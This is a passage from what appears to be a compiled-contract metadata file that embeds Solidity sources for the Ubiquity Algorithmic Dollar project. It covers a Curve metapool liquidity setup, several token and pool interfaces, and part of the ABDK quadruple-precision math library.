);\\n\\n IERC20(dollarTokenAddress).safeApprove(metaPool, 0);\\n IERC20(dollarTokenAddress).safeApprove(metaPool, uADTokenAmount);\\n\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(metaPool).coins(0) == dollarTokenAddress &&\\n IMetaPool(metaPool).coins(1) == _crv3PoolTokenAddress,\\n \\\"uADMGR: COIN_ORDER_MISMATCH\\\"\\n );\\n // Add the initial liquidity to the StableSwap meta pool\\n uint256[2] memory amounts =\\n [\\n IERC20(dollarTokenAddress).balanceOf(address(this)),\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this))\\n ];\\n\\n // set curve 3Pool address\\n curve3PoolTokenAddress = _crv3PoolTokenAddress;\\n IMetaPool(metaPool).add_liquidity(amounts, 0, msg.sender);\\n }\\n\\n function getExcessDollarsDistributor(address _debtCouponManagerAddress)\\n external\\n view\\n returns (address)\\n {\\n return _excessDollarDistributors[_debtCouponManagerAddress];\\n }\\n}\\n\",\"keccak256\":\"0xc86d80999cdfecfd7228760b8f80d76a9081b40e00b978ac9ae7021a46db56d9\",\"license\":\"MIT\"},\"contracts/interfaces/ICurveFactory.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface ICurveFactory {\\n event BasePoolAdded(address base_pool, address implementat);\\n event MetaPoolDeployed(\\n address coin,\\n address base_pool,\\n uint256 A,\\n uint256 fee,\\n address deployer\\n );\\n\\n function find_pool_for_coins(address _from, address _to)\\n external\\n view\\n returns (address);\\n\\n function find_pool_for_coins(\\n address _from,\\n address _to,\\n uint256 i\\n ) external view returns (address);\\n\\n function get_n_coins(address _pool)\\n external\\n view\\n returns (uint256, uint256);\\n\\n function get_coins(address _pool) external view returns (address[2] memory);\\n\\n function get_underlying_coins(address _pool)\\n external\\n view\\n returns (address[8] memory);\\n\\n function get_decimals(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_decimals(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_rates(address _pool) external view returns (uint256[2] memory);\\n\\n function get_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_balances(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_A(address _pool) external view returns (uint256);\\n\\n function get_fees(address _pool) external view returns (uint256, uint256);\\n\\n function get_admin_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_coin_indices(\\n address _pool,\\n address _from,\\n address _to\\n )\\n external\\n view\\n returns (\\n int128,\\n int128,\\n bool\\n );\\n\\n function add_base_pool(\\n address _base_pool,\\n address _metapool_implementation,\\n address _fee_receiver\\n ) external;\\n\\n function deploy_metapool(\\n address _base_pool,\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _A,\\n uint256 _fee\\n ) external returns (address);\\n\\n function commit_transfer_ownership(address addr) external;\\n\\n function accept_transfer_ownership() external;\\n\\n function set_fee_receiver(address _base_pool, address _fee_receiver)\\n external;\\n\\n function convert_fees() external returns (bool);\\n\\n function admin() external view returns (address);\\n\\n function future_admin() external view returns (address);\\n\\n function pool_list(uint256 arg0) external view returns (address);\\n\\n function pool_count() external view returns (uint256);\\n\\n function base_pool_list(uint256 arg0) external view returns (address);\\n\\n function base_pool_count() external view returns (uint256);\\n\\n function fee_receiver(address arg0) external view returns (address);\\n}\\n\",\"keccak256\":\"0xcb339cf4aab1d3b5e35f541b496ffba0b9ca6a5e1da6dfbe9d03cde693d2f10e\",\"license\":\"MIT\"},\"contracts/interfaces/IERC20Ubiquity.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\n\\n/// @title ERC20 Ubiquiti preset interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IERC20Ubiquity is IERC20 {\\n // ----------- Events -----------\\n event Minting(\\n address indexed _to,\\n address indexed _minter,\\n uint256 _amount\\n );\\n\\n event Burning(address indexed _burned, uint256 _amount);\\n\\n // ----------- State changing api -----------\\n function burn(uint256 amount) external;\\n\\n function permit(\\n address owner,\\n address spender,\\n uint256 value,\\n uint256 deadline,\\n uint8 v,\\n bytes32 r,\\n bytes32 s\\n ) external;\\n\\n // ----------- Burner only state changing api -----------\\n function burnFrom(address account, uint256 amount) external;\\n\\n // ----------- Minter only state changing api -----------\\n function mint(address account, uint256 amount) external;\\n}\\n\",\"keccak256\":\"0xf1170e23d8c1c05ecb677a1417bd13a646383544e292100edd7da32fb2188d91\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/IMetaPool.sol\":{\"content\":\"// SPDX-License-Identifier: UNLICENSED\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface IMetaPool {\\n event Transfer(\\n address indexed sender,\\n address indexed receiver,\\n uint256 value\\n );\\n event Approval(\\n address indexed owner,\\n address indexed spender,\\n uint256 value\\n );\\n event TokenExchange(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event TokenExchangeUnderlying(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event AddLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event RemoveLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 token_supply\\n );\\n event RemoveLiquidityOne(\\n address indexed provider,\\n uint256 token_amount,\\n uint256 coin_amount,\\n uint256 token_supply\\n );\\n event RemoveLiquidityImbalance(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event CommitNewAdmin(uint256 indexed deadline, address indexed admin);\\n event NewAdmin(address indexed admin);\\n event CommitNewFee(\\n uint256 indexed deadline,\\n uint256 fee,\\n uint256 admin_fee\\n );\\n event NewFee(uint256 fee, uint256 admin_fee);\\n event RampA(\\n uint256 old_A,\\n uint256 new_A,\\n uint256 initial_time,\\n uint256 future_time\\n );\\n event StopRampA(uint256 A, uint256 t);\\n\\n function initialize(\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _decimals,\\n uint256 _A,\\n uint256 _fee,\\n address _admin\\n ) external;\\n\\n function decimals() external view returns (uint256);\\n\\n function transfer(address _to, uint256 _value) external returns (bool);\\n\\n function transferFrom(\\n address _from,\\n address _to,\\n uint256 _value\\n ) external returns (bool);\\n\\n function approve(address _spender, uint256 _value) external returns (bool);\\n\\n function get_previous_balances() external view returns (uint256[2] memory);\\n\\n function get_balances() external view returns (uint256[2] memory);\\n\\n function get_twap_balances(\\n uint256[2] memory _first_balances,\\n uint256[2] memory _last_balances,\\n uint256 _time_elapsed\\n ) external view returns (uint256[2] memory);\\n\\n function get_price_cumulative_last()\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function admin_fee() external view returns (uint256);\\n\\n function A() external view returns (uint256);\\n\\n function A_precise() external view returns (uint256);\\n\\n function get_virtual_price() external view returns (uint256);\\n\\n function calc_token_amount(uint256[2] memory _amounts, bool _is_deposit)\\n external\\n view\\n returns (uint256);\\n\\n function calc_token_amount(\\n uint256[2] memory _amounts,\\n bool _is_deposit,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function add_liquidity(uint256[2] memory _amounts, uint256 _min_mint_amount)\\n external\\n returns (uint256);\\n\\n function add_liquidity(\\n uint256[2] memory _amounts,\\n uint256 _min_mint_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts,\\n address _receiver\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount\\n ) external returns (uint256);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function calc_withdraw_one_coin(uint256 _burn_amount, int128 i)\\n external\\n view\\n returns (uint256);\\n\\n function calc_withdraw_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received\\n ) external returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received,\\n address _receiver\\n ) external returns (uint256);\\n\\n function ramp_A(uint256 _future_A, uint256 _future_time) external;\\n\\n function stop_ramp_A() external;\\n\\n function admin_balances(uint256 i) external view returns (uint256);\\n\\n function withdraw_admin_fees() external;\\n\\n function admin() external view returns (address);\\n\\n function coins(uint256 arg0) external view returns (address);\\n\\n function balances(uint256 arg0) external view returns (uint256);\\n\\n function fee() external view returns (uint256);\\n\\n function block_timestamp_last() external view returns (uint256);\\n\\n function initial_A() external view returns (uint256);\\n\\n function future_A() external view returns (uint256);\\n\\n function initial_A_time() external view returns (uint256);\\n\\n function future_A_time() external view returns (uint256);\\n\\n function name() external view returns (string memory);\\n\\n function symbol() external view returns (string memory);\\n\\n function balanceOf(address arg0) external view returns (uint256);\\n\\n function allowance(address arg0, address arg1)\\n external\\n view\\n returns (uint256);\\n\\n function totalSupply() external view returns (uint256);\\n}\\n\",\"keccak256\":\"0xc89cc32a2a8a0336c380ed2ae3c3b5a9292cf1cd431cc09dec4d3057389ed893\",\"license\":\"UNLICENSED\"},\"contracts/interfaces/IUARForDollarsCalculator.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\n/// @title A mechanism for calculating uAR received for a dollar amount burnt\\ninterface IUARForDollarsCalculator {\\n function getUARAmount(uint256 dollarsToBurn, uint256 blockHeightDebt)\\n external\\n view\\n returns (uint256);\\n}\\n\",\"keccak256\":\"0xee70f36ca865a4f85f7c3ac3e1e7fee925775e23740bf32aeef1849914b6c5c2\",\"license\":\"MIT\"},\"contracts/interfaces/IUbiquityAlgorithmicDollar.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./IERC20Ubiquity.sol\\\";\\n\\n/// @title UAD stablecoin interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IUbiquityAlgorithmicDollar is IERC20Ubiquity {\\n event IncentiveContractUpdate(\\n address indexed _incentivized,\\n address indexed _incentiveContract\\n );\\n\\n function setIncentiveContract(address account, address incentive) external;\\n\\n function incentiveContract(address account) external view returns (address);\\n}\\n\",\"keccak256\":\"0x34469f12207adbfd6003ce7710ddc7b0ee3c1637b5d7fbac2b35c9e3fe3b6182\",\"license\":\"Apache-2.0\"},\"contracts/libs/ABDKMathQuad.sol\":{\"content\":\"// SPDX-License-Identifier: BSD-4-Clause\\n/*\\n * ABDK Math Quad Smart Contract Library. Copyright \\u00a9 2019 by ABDK Consulting.\\n * Author: Mikhail Vladimirov \\n */\\npragma solidity ^0.8.0;\\n\\n/**\\n * Smart contract library of mathematical functions operating with IEEE 754\\n * quadruple-precision binary floating-point numbers (quadruple precision\\n * numbers). As long as quadruple precision numbers are 16-bytes long, they are\\n * represented by bytes16 type.\\n */\\nlibrary ABDKMathQuad {\\n /*\\n * 0.\\n */\\n bytes16 private constant _POSITIVE_ZERO =\\n 0x00000000000000000000000000000000;\\n\\n /*\\n * -0.\\n */\\n bytes16 private constant _NEGATIVE_ZERO =\\n 0x80000000000000000000000000000000;\\n\\n /*\\n * +Infinity.\\n */\\n bytes16 private constant _POSITIVE_INFINITY =\\n 0x7FFF0000000000000000000000000000;\\n\\n /*\\n * -Infinity.\\n */\\n bytes16 private constant _NEGATIVE_INFINITY =\\n 0xFFFF0000000000000000000000000000;\\n\\n /*\\n * Canonical NaN value.\\n */\\n bytes16 private constant NaN = 0x7FFF8000000000000000000000000000;\\n\\n /**\\n * Convert signed 256-bit integer number into quadruple precision number.\\n *\\n * @param x signed 256-bit integer number\\n * @return quadruple precision number\\n */\\n function fromInt(int256 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n // We rely on overflow behavior here\\n uint256 result = uint256(x > 0 ? x : -x);\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16383 + msb) << 112);\\n if (x < 0) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into signed 256-bit integer number\\n * rounding towards zero. Revert on overflow.\\n *\\n * @param x quadruple precision number\\n * @return signed 256-bit integer number\\n */\\n function toInt(bytes16 x) internal pure returns (int256) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n require(exponent <= 16638); // Overflow\\n if (exponent < 16383) return 0; // Underflow\\n\\n uint256 result =\\n (uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16495) result >>= 16495 - exponent;\\n else if (exponent > 16495) result <<= exponent - 16495;\\n\\n if (uint128(x) >= 0x80000000000000000000000000000000) {\\n // Negative\\n require(\\n result <=\\n 0x8000000000000000000000000000000000000000000000000000000000000000\\n );\\n return -int256(result); // We rely on overflow behavior here\\n } else {\\n require(\\n result <=\\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\\n );\\n return int256(result);\\n }\\n }\\n }\\n\\n /**\\n * Convert unsigned 256-bit integer number into quadruple precision number.\\n *\\n * @param x unsigned 256-bit integer number\\n * @return quadruple precision number\\n */\\n function fromUInt(uint256 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n uint256 result = x;\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16383 + msb) << 112);\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into unsigned 256-bit integer number\\n * rounding towards zero. Revert on underflow. Note, that negative floating\\n * point numbers in range (-1.0 .. 0.0) may be converted to unsigned integer\\n * without error, because they are rounded to zero.\\n *\\n * @param x quadruple precision number\\n * @return unsigned 256-bit integer number\\n */\\n function toUInt(bytes16 x) internal pure returns (uint256) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n if (exponent < 16383) return 0; // Underflow\\n\\n require(uint128(x) < 0x80000000000000000000000000000000); // Negative\\n\\n require(exponent <= 16638); // Overflow\\n uint256 result =\\n (uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16495) result >>= 16495 - exponent;\\n else if (exponent > 16495) result <<= exponent - 16495;\\n\\n return result;\\n }\\n }\\n\\n /**\\n * Convert signed 128.128 bit fixed point number into quadruple precision\\n * number.\\n *\\n * @param x signed 128.128 bit fixed point number\\n * @return quadruple precision number\\n */\\n function from128x128(int256 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n // We rely on overflow behavior here\\n uint256 result = uint256(x > 0 ? x : -x);\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16255 + msb) << 112);\\n if (x < 0) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into signed 128.128 bit fixed point\\n * number. Revert on overflow.\\n *\\n * @param x quadruple precision number\\n * @return signed 128.128 bit fixed point number\\n */\\n function to128x128(bytes16 x) internal pure returns (int256) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n require(exponent <= 16510); // Overflow\\n if (exponent < 16255) return 0; // Underflow\\n\\n uint256 result =\\n (uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16367) result >>= 16367 - exponent;\\n else if (exponent > 16367) result <<= exponent - 16367;\\n\\n if (uint128(x) >= 0x80000000000000000000000000000000) {\\n // Negative\\n require(\\n result <=\\n 0x8000000000000000000000000000000000000000000000000000000000000000\\n );\\n return -int256(result); // We rely on overflow behavior here\\n } else {\\n require(\\n result <=\\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\\n );\\n return int256(result);\\n }\\n }\\n }\\n\\n /**\\n * Convert signed 64.64 bit fixed point number into quadruple precision\\n * number.\\n *\\n * @param x signed 64.64 bit fixed point number\\n * @return quadruple precision number\\n */\\n function from64x64(int128 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n // We rely on overflow behavior here\\n uint256 result = uint128(x > 0 ? x : -x);\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16319 + msb) << 112);\\n if (x < 0) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into signed 64.64 bit fixed point\\n * number. Revert on overflow.\\n *\\n * @param x quadruple precision number\\n * @return signed 64.64 bit fixed point number\\n */\\n function to64x64(bytes16 x) internal pure returns (int128) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n require(exponent <= 16446); // Overflow\\n if (exponent < 16319) return 0; // Underflow\\n\\n uint256 result =\\n (uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16431) result >>= 16431 - exponent;\\n else if (exponent > 16431) result <<= exponent - 16431;\\n\\n if (uint128(x) >= 0x80000000000000000000000000000000) {\\n // Negative\\n require(result <= 0x80000000000000000000000000000000);\\n return -int128(int256(result)); // We rely on overflow behavior here\\n } else {\\n require(result <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\\n return int128(int256(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert octuple precision number into quadruple precision number.\\n *\\n * @param x octuple precision number\\n * @return quadruple precision number\\n */\\n function fromOctuple(bytes32 x) internal pure returns (bytes16) {\\n unchecked {\\n bool negative =\\n x &\\n 0x8000000000000000000000000000000000000000000000000000000000000000 >\\n 0;\\n\\n uint256 exponent = (uint256(x) >> 236) & 0x7FFFF;\\n uint256 significand =\\n uint256(x) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FFFF) {\\n if (significand > 0) return NaN;\\n else return negative ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n }\\n\\n if (exponent > 278526)\\n return negative ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n else if (exponent < 245649)\\n return negative ? _NEGATIVE_ZERO : _POSITIVE_ZERO;\\n else if (exponent < 245761) {\\n significand =\\n (significand |\\n 0x100000000000000000000000000000000000000000000000000000000000) >>\\n (245885 - exponent);\\n exponent = 0;\\n } else {\\n significand >>= 124;\\n exponent -= 245760;\\n }\\n\\n uint128 result = uint128(significand | (exponent << 112));\\n if (negative) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(result);\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into octuple precision number.\\n *\\n * @param x quadruple precision number\\n * @return octuple precision number\\n */\\n function toOctuple(bytes16 x) internal pure returns (bytes32) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n uint256 result = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FFF)\\n exponent = 0x7FFFF; // Infinity or NaN\\n else if (exponent == 0) {\\n if (result > 0) {\\n uint256 msb = mostSignificantBit(result);\\n result =\\n (result << (236 - msb)) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n exponent = 245649 + msb;\\n }\\n } else {\\n result <<= 124;\\n exponent += 245760;\\n }\\n\\n result |= exponent << 236;\\n if (uint128(x) >= 0x80000000000000000000000000000000)\\n result |= 0x8000000000000000000000000000000000000000000000000000000000000000;\\n\\n return bytes32(result);\\n }\\n }\\n\\n /**\\n * Convert double precision number into quadruple precision number.\\n *\\n * @param x double precision number\\n * @return quadruple precision number\\n */\\n function fromDouble(bytes8 x) internal pure returns (bytes16) {\\n unchecked {\\n uint256 exponent = (uint64(x) >> 52) & 0x7FF;\\n\\n uint256 result = uint64(x) & 0xFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FF)\\n exponent = 0x7FFF; // Infinity or NaN\\n else if (exponent == 0) {\\n if (result > 0) {\\n uint256 msb = mostSignificantBit(result);\\n result =\\n (result << (112 - msb)) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n exponent = 15309 + msb;\\n }\\n } else {\\n result <<= 60;\\n exponent += 15360;\\n }\\n\\n result |= exponent << 112;\\n if (x & 0x8000000000000000 > 0)\\n result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into double precision number.\\n *\\n * @param x quadruple precision number\\n * @return double precision number\\n */\\n function toDouble(bytes16 x) internal pure returns (bytes8) {\\n unchecked {\\n bool negative = uint128(x) >= 0x80000000000000000000000000000000;\\n\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 significand = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FFF) {\\n if (significand > 0) return 0x7FF8000000000000;\\n // NaN\\n else\\n return\\n negative\\n ? bytes8(0xFFF0000000000000) // -Infinity\\n : bytes8(0x7FF0000000000000); // Infinity\\n }\\n\\n if (exponent > 17406)\\n return\\n negative\\n ? bytes8(0xFFF0000000000000) // -Infinity\\n : bytes8(0x7FF0000000000000);\\n // Infinity\\n else if (exponent < 15309)\\n return\\n negative\\n ? bytes8(0x8000000000000000) // -0\\n : bytes8(0x0000000000000000);\\n // 0\\n else if (exponent < 15361) {\\n significand =\\n (significand | 0x10000000000000000000000000000) >>\\n (15421 - exponent);\\n exponent = 0;\\n } else {\\n significand >>= 60;\\n exponent -= 15360;\\n }\\n\\n uint64 result = uint64(significand | (exponent << 52));\\n if (negative) result |= 0x8000000000000000;\\n\\n return bytes8(result);\\n }\\n }\\n\\n /**\\n * Test whether given quadruple precision number is NaN.\\n *\\n * @param x quadruple precision number\\n * @return true if x is NaN, false otherwise\\n */\\n function isNaN(bytes16 x) internal pure returns (bool) {\\n unchecked {\\n return\\n uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF >\\n 0x7FFF0000000000000000000000000000;\\n }\\n }\\n\\n /**\\n * Test whether given quadruple precision number is positive or negative\\n * infinity.\\n *\\n * @param x quadruple precision number\\n * @return true if x is positive or negative infinity, false otherwise\\n */\\n function isInfinity(bytes16 x) internal pure returns (bool) {\\n unchecked {\\n return\\n uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF ==\\n 0x7FFF0000000000000000000000000000;\\n }\\n }\\n\\n /**\\n * Calculate sign of x, i.e. -1 if x is negative, 0 if x if zero, and 1 if x\\n * is positive. Note that sign (-0) is zero. Revert if x is NaN.\\n *\\n * @param x quadruple precision number\\n * @return sign of x\\n */\\n function sign(bytes16 x) internal pure returns (int8) {\\n unchecked {\\n uint128 absoluteX = uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n require(absoluteX <= 0x7FFF0000000000000000000000000000); // Not NaN\\n\\n if (absoluteX == 0) return 0;\\n else if (uint128(x) >= 0x80000000000000000000000000000000)\\n return -1;\\n else return 1;\\n }\\n }\\n\\n /**\\n * Calculate sign (x - y). Revert if either argument is NaN, or both\\n * arguments are infinities of the same sign.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return sign (x - y)\\n */\\n function cmp(bytes16 x, bytes16 y) internal pure returns (int8) {\\n unchecked {\\n uint128 absoluteX = uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n require(absoluteX <= 0x7FFF0000000000000000000000000000); // Not NaN\\n\\n uint128 absoluteY = uint128(y) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n require(absoluteY <= 0x7FFF0000000000000000000000000000); // Not NaN\\n\\n // Not infinities of the same sign\\n require(x != y || absoluteX < 0x7FFF0000000000000000000000000000);\\n\\n if (x == y) return 0;\\n else {\\n bool negativeX =\\n uint128(x) >= 0x80000000000000000000000000000000;\\n bool negativeY =\\n uint128(y) >= 0x80000000000000000000000000000000;\\n\\n if (negativeX) {\\n if (negativeY) return absoluteX > absoluteY ? -1 : int8(1);\\n else return -1;\\n } else {\\n if (negativeY) return 1;\\n else return absoluteX > absoluteY ? int8(1) : -1;\\n }\\n }\\n }\\n }\\n\\n /**\\n * Test whether x equals y. NaN, infinity, and -infinity are not equal to\\n * anything.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return true if x equals to y, false otherwise\\n */\\n function eq(bytes16 x, bytes16 y) internal pure returns (bool) {\\n unchecked {\\n if (x == y) {\\n return\\n uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF <\\n 0x7FFF0000000000000000000000000000;\\n } else return false;\\n }\\n }\\n\\n /**\\n * Calculate x + y. Special values behave in the following way:\\n *\\n * NaN + x = NaN for any x.\\n * Infinity + x = Infinity for any finite x.\\n * -Infinity + x = -Infinity for any finite x.\\n * Infinity + Infinity = Infinity.\\n * -Infinity + -Infinity = -Infinity.\\n * Infinity + -Infinity = -Infinity + Infinity = NaN.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function add(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 yExponent = (uint128(y) >> 112) & 0x7FFF;\\n\\n if (xExponent == 0x7FFF) {\\n if (yExponent == 0x7FFF) {\\n if (x == y) return x;\\n else return NaN;\\n } else return x;\\n } else if (yExponent == 0x7FFF) return y;\\n else {\\n bool xSign = uint128(x) >= 0x80000000000000000000000000000000;\\n uint256 xSignifier =\\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n bool ySign = uint128(y) >= 0x80000000000000000000000000000000;\\n uint256 ySignifier =\\n uint128(y) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (yExponent == 0) yExponent = 1;\\n else ySignifier |= 0x10000000000000000000000000000;\\n\\n if (xSignifier == 0)\\n return y == _NEGATIVE_ZERO ? _POSITIVE_ZERO : y;\\n else if (ySignifier == 0)\\n return x == _NEGATIVE_ZERO ? _POSITIVE_ZERO : x;\\n else {\\n int256 delta = int256(xExponent) - int256(yExponent);\\n\\n if (xSign == ySign) {\\n if (delta > 112) return x;\\n else if (delta > 0) ySignifier >>= uint256(delta);\\n else if (delta < -112) return y;\\n else if (delta < 0) {\\n xSignifier >>= uint256(-delta);\\n xExponent = yExponent;\\n }\\n\\n xSignifier += ySignifier;\\n\\n if (xSignifier >= 0x20000000000000000000000000000) {\\n xSignifier >>= 1;\\n xExponent += 1;\\n 